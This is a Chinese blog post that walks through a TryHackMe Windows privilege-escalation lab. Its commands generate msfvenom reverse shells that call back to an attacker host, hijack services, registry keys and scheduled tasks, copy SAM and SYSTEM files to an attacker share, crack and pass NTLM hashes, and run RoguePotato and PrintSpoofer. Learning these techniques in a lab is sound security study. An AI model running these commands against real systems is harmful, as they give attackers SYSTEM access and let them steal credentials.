美文网首页
windows提权总结

windows提权总结

作者: 静析机言 | 来源:发表于2023-04-06 12:33 被阅读0次

本篇文章主要来源于Try Hack Me靶场,里面总结了很多windows提权姿势。下面简单做下记录。

https://tryhackme.com/room/ windows10privesc

另外,github上有个讲Linux/Windows权限提升的,里面有VM、Video和PDF,有空可以学习一下。

https://github.com/sagishahar/lpeworkshop

1、在Kali Linux中连接windows VM目标机。目标机开启了3389,可以远程登录。账户:user,密码:password321。

xfreerdp /u:user /p:password321 /cert:ignore /v:10.10.53.14

2、生成反向shell的可执行文件reverse.exe,LPORT改成Kali Linux的IP。将其拷贝到攻击windows受攻击机。

msfvenom-p windows/x64/shell_reverse_tcp LHOST=10.10.10.10LPORT=4444 -f exe -oreverse.exe

在kali Linux本机上开启一个httpserver。

注意:python3已经改名为http.server

python3 -m http.server 80

python -m SimpleHTTPServer 80 //旧有写法

nc -nvlp 4444

windows上执行C:\PrivEsc\reverse.exe,发现已连接

3、服务利用:不安全的服务权限

用 accesschk.exe 检查user帐户对daclsvc服务的权限,发现user帐户有权更改服务配置(SERVICE_CHANGE_CONFIG)。

C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc

查询该服务并注意它以 SYSTEM 权限运行(SERVICE_START_NAME)

sc qc daclsvc

修改服务配置并将 BINARY_PATH_NAME (binpath) 设置为reverse.exe

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

在 Kali 上启动监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell

net start daclsvc

4、服务利用:不带引号的服务路径

该漏洞利用了windows文件路径解析的特性。

查询unquotedsvc 服务,注意它以 SYSTEM 权限(SERVICE_START_NAME) 运行,BINARY_PATH_NAME 路径包含空格并且没有用引号引起来。

sc qc unquotedsvc

运行accesschk.exe,注意允许BUILTIN\Users组写入C:\Program Files\Unquoted Path Service\目录

C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

将reverse.exe复制到此目录并将其重命名为Common.exe

copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

问题:不清楚为什么,拷贝完文件启动服务就能让reverse.exe执行,unquotedsvc服务指向的exe并没有改?

解答:

https://blog.csdn.net/weixin_44032232/article/details/109073666

假设有个服务的可执行路径为

c:\program files (x86)\grasssoft\macro expert\MacroService.exe,且不带引号

服务会按照以下顺序依次执行。如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

c:\program.exe

c:\programfiles.exe

c:\programfiles (x86)\grasssoft\macro.exe

c:\program files (x86)\grasssoft\macro expert\MacroService.exe

因此,在这个例子中,

C:\Program Files\Unquoted Path Service\Common.exe要先于C:\Program

Files\Unquoted Path Service\Common Files\unquotedpathservice.exe。

在 Kali 上启动一个监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell

net start unquotedsvc

5、服务利用:弱注册表权限

查询regsvc服务,注意它以系统权限(SERVICE_START_NAME) 运行

sc qc regsvc

运行accesschk.exe,regsvc 服务的注册表项可由“NT  AUTHORITY\INTERACTIVE”组(基本上是所有登录用户)写入

C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

覆盖 ImagePath 注册表项以指向reverse.exe

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

在 Kali 上启动一个监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell

net start regsvc

6、服务利用:不安全的服务执行程序

查询filepermsvc服务,注意它以SYSTEM权限(SERVICE_START_NAME) 运行

sc qc filepermsvc

使用 accesschk.exe,服务的二进制文件(BINARY_PATH_NAME) 文件对每个人都是可写的

C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions

Service\filepermservice.exe"

复制reverse.exe并用它替换filepermservice.exe

copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y

在 Kali 上启动一个监听器,然后启动该服务以生成一个以 SYSTEM 权限运行的反向shell

net start filepermsvc

7、注册表:autorun

查询 AutoRun 可执行文件的注册表

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

运行accesschk.exe,其中一个 AutoRun 可执行文件对每个人都是可写的

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

复制reverse.exe,用它覆盖 AutoRun 可执行文件

copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y

在 Kali 上启动一个侦听器,

nc -nvlp 4444

重新启动 Windows VM,然后在kali里运行

rdesktop  MACHINE_IP

:重新连接时,依赖于是谁登录的。如果是admin登录,则显示的反向shell为admin;如果是user登录,则显示反向shell为user。

8、注册表:弱AlwaysInstallElevated权限

AlwaysInstallElevated是一个Windows策略允许普通用户在使用MSI包安装软件时获得系统权限去操作。同时它在注册表里面也会有一个值,如果为1的话普通用户拥有和system一样的权限去安装.msi文件。

在注册表中查询 AlwaysInstallElevated 键,注意,这两个键都设置为1。

reg queryHKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

在 Kali 上,使用 msfvenom 生成反向 shell Windows Installer (reverse.msi)。 相应地更新 LHOST IP 地址

msfvenom-p windows/x64/shell_reverse_tcp LHOST=10.10.10.10LPORT=3333 -f msi -o reverse.msi

将 reverse.msi 文件传输到 Windows 上的 C:\PrivEsc 目录。

在 Kali 上启动一个侦听器

nc -nvlp 3333

windowsVM运行安装程序以触发以 SYSTEM 权限运行的反向shell

msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

9、注册表:密码

出于某种原因,有时密码不会存储在注册表中。注:我的情况就是如此

可以在注册表中搜索包含单词password的键和值(耗时长,找到258个项目)

reg query HKLM /f password /t REG_SZ /s

想节省一些时间,请查询管理员自动登录凭据

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

注:运行这两条命令根本找不到管理员的密码

可以试试winPEASany.exe,可从github下载。

c:\PrivEsc>.\winPEASany.exe quiet filesinfo userinfo

此时,从上述结果可以看到admin的密码为password123

在 Kali 上,用winexe 命令生成以管理员权限运行的命令提示符(用admin账户及其密码)。运行whoami,发现用户为admin。

winexe -U 'admin%password123' //10.10.216.32 cmd.exe

10、密码:保存的凭据

列出所有已保存的凭据,注意,已保存admin用户的凭据。

cmdkey /list

在 Kali 上启动一个侦听器,并使用 runas 和管理员用户保存的凭据运行reverse.exe

runas /savecred /user:admin C:\PrivEsc\reverse.exe

11、密码:SAM

SAM 和 SYSTEM 文件可用于提取用户密码哈希值。此VM已将SAM 和 SYSTEM 文件的备份存储在C:\Windows\Repair\目录中

将 SAM 和 SYSTEM 文件传输到Kali VM(开启smbserver),将IP换成Kali VM的。

copy C:\Windows\Repair\SAM \\10.10.10.10\kali\

copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\

:一般SAM和SYSTEM文件存储在C:\Windows\System32\config

在 Kali 上,克隆 creddump7(Kali 上的存储库已过时,不会为 Windows 10 正确转储哈希!)并使用它从 SAM 和 SYSTEM 文件中转储哈希

git clonehttps://github.com/Tib3rius/creddump7

pip3install pycrypto

python3 creddump7/pwdump.py SYSTEM SAM

首先将admin的NTLM哈希值拷贝到文件中,譬如名为hash。

echo "a9fdfa038c4b75ebc76dc855dd74f0da" > hash

使用 hashcat 破解管理员 NTLM 哈希。得到admin的密码为password123

hashcat  -m 1000 hash /usr/share/wordlists/rockyou.txt

12、密码:传递哈希

既然可以使用哈希进行身份验证,为什么还要破解密码哈希?

将完整的管理员哈希与pth-winexe 一起使用,以生成一个以管理员身份运行的 shell,而无需破解其密码。注:完整哈希包括 LM 和 NTLM 哈希,以冒号分隔。

pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //10.10.44.238 cmd.exe

13、计划任务

查看C:\DevTools\CleanUp.ps1脚本内容,发现脚本似乎每分钟都以 SYSTEM 身份运行

type C:\DevTools\CleanUp.ps1

用 accesschk.exe去检查user对CleanUp.ps1的权限可以看到有个FILE_WRITE_DATA可写入模式

C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

在 Kali 上启动一个侦听器,然后将一行附加到C:\DevTools\CleanUp.ps1

echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

等待计划任务运行,可以得到以 SYSTEM 身份触发反向 shell。

14、不安全的GUI程序

查看AdminPaint快捷方式的内容为

C:\Windows\System32\runas.exe /user:admin /savecred %windir%\system32\mspaint.exe

双击桌面上的“AdminPaint”快捷方式。运行后,打开命令提示符并注意 Paint 正在以管理员权限运行

tasklist /V | findstr mspaint.exe

在“画图”中,单击“文件”,然后单击“打开”。在打开的文件对话框中,点击导航输入并粘贴:file://c:/windows/system32/cmd.exe,按Enter

生成以admin权限运行的命令提示符

15、StartUp

用accesschk.exe检查权限,发现BUILTIN\Users 组可以将文件写入 StartUp 目录

C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start

Menu\Programs\StartUp"

查看C:\PrivEsc\CreateShortcut.vbs脚本,该脚本在 StartUp 目录中为reverse.exe创建一个新的快捷方式

使用cscript运行CreateShortcut.vbs脚本

cscript C:\PrivEsc\CreateShortcut.vbs

在 Kali 上启动一个监听器,然后使用RDP模拟admin登录

xfreerdp /u:admin /p:password123 /cert:ignore /v:10.10.44.238

问题:为什么远程登录模拟admin登录,这时启动文件会变成以system权限运行反弹shell而不是以admin运行的反弹shell?

16、令牌窃取

目标如果开启SeImpersonatePrivilege模拟客户端验证,即可使用土豆系列工具直接从user权限跨越到system权限。

在 Kali 上设置一个 socat 重定向器,将 Kali 135 端口转发到 Windows 上的 9999 端口

sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.44.238:9999

在kali监听端口4444。

nc -nvlp 4444

通过以admin身份登录 RDP 模拟获取服务帐户shell ,以管理员身份运行命令提示符,并使用 PSExec64.exe 触发“本地服务”帐户

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

在反弹shell中可以看到运行账户为local service

在反弹shell中执行whoami /priv,显示如下权限。其中SeImpersonatePrivilege为Enabled。

为了清晰起见,重新生成一个连接至3333端口的反弹shell:reverse3333.exe,并上传到windows VM中。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=3333 -f exe -o

reverse3333.exe

此时在kali中监听端口3333。

nc -nvlp 3333

在触发local service的反向 shell 中,运行 RoguePotato 漏洞以触发第二个以SYSTEM 权限运行的反向shell

C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse3333.exe" -l 9999

可以从第二个反弹shell中看到权限已变成SYSTEM

且此时的权限中SeAssignPrimaryTokenPrivilege已经改成Enabled。

whoami /priv

17、令牌窃取:PrintSpoofer

此提权只需要PrintSpoofer,可用于提升 Windows Server 2016、Server 2019 和 Windows 10 上的服务用户权限的 PrintSpoofer 漏洞。

可以到github上下载

https://github.com/dievus/printspoofer

要提升权限,服务帐户必须具有 SeImpersonate 权限

在 Kali 上启动一个端口4444的监听。

nc -nvlp 4444

以admin身份登录 RDP,以管理员身份运行命令提示符,使用 PSExec64.exe 触发“本地服务”帐户

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

在 Kali 上启动另一个端口3333的监听

nc -nvlp 3333

在触发的“本地服务”反向 shell 中,运行 PrintSpoofer 漏洞以触发第二个以 SYSTEM 权限运行的反向shell

C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse3333.exe" -i

18、提权脚本

Windows VM中的 C:\PrivEsc 目录中包含了四个工具:

winPEASany.exe

Seatbelt.exe

PowerUp.ps1

SharpUp.exe

可以分别试用上述四种工具,使用不同的选项运行

Seatbelt是一个C#项目,可以用来对主机进行安全检查。

Seatbelt.exe all

或者,指定检查项目,例如

Seatbelt.exe RegistryAutoRuns

Seatbelt.exe patches

powerUp 是 Privesc 模块下的脚本,拥有众多用来寻找目标主机 Windows 服务漏洞进行提权的实用脚本。先执行powershell,然后Import-Module .\PowerUp.ps1就能使用了。运行Invoke-AllChecks函数开始检查

SharpUp 是 PowerUp 利用 C# 实现权限提升检查的开始。 目前,只进行了最常见的检查,尚未实施武器化功能。

SharpUp.exe audit

相关文章

  • windows操作系统提权基础

    1 Windows提权整体总结 2 Windows基础提权命令 2.1 查看系统信息 systeminfo | f...

  • windows靶场提权总结

    最近做了几个i春秋的靶场,从getshell到提权,练习的还是很全面的,这里主要对提权做个总结。 先从提权反推一下...

  • Windows提权

    0x00 基于密码破解的提权 一、密码窃取的常用手段 1.中间人劫持:网络窃听2.通过简单猜测:常用密码3.通过系...

  • windows提权

    一、常见提权方法 1、溢出漏洞提权 2、数据库提权 3、第三方软件提权 二、Cmd命令无法执行原因分析 1、Cmd...

  • Windows提权小技巧

    前言 最近在整理windows提权,各种姿势层出不穷。这里分享一篇windows提权的小技巧。 IIS权限 某次获...

  • Windows Access Token 学习

    前言 最近在总结windows提权时,关注到了令牌窃取。也属于提权的一种姿势,这里简单学习一下。 访问令牌 产生 ...

  • Windows提权入门

    一、访问令牌伪造 基础知识 windows系统中存在以下两种令牌: 授权令牌Delegate Token:用于交互...

  • Windows提权小结

    系统内核溢出漏洞提权: 方法一,查找相应补丁漏洞的辅助查询页面:https://github.com/SecWik...

  • Windows提权/Linux提权,内网渗透,内网提权

    一个提权靶场,一个关于fire and shadow的世界 这里的提权有:CVE-2019-1388、CVE-20...

  • 提权辅助工具Windows-Exploit-Suggester

    1提权辅助工具Windows-Exploit-Suggester 1.1Windows-Exploit-Sugge...

网友评论

      本文标题:windows提权总结

      本文链接:https://www.haomeiwen.com/subject/vscuddtx.html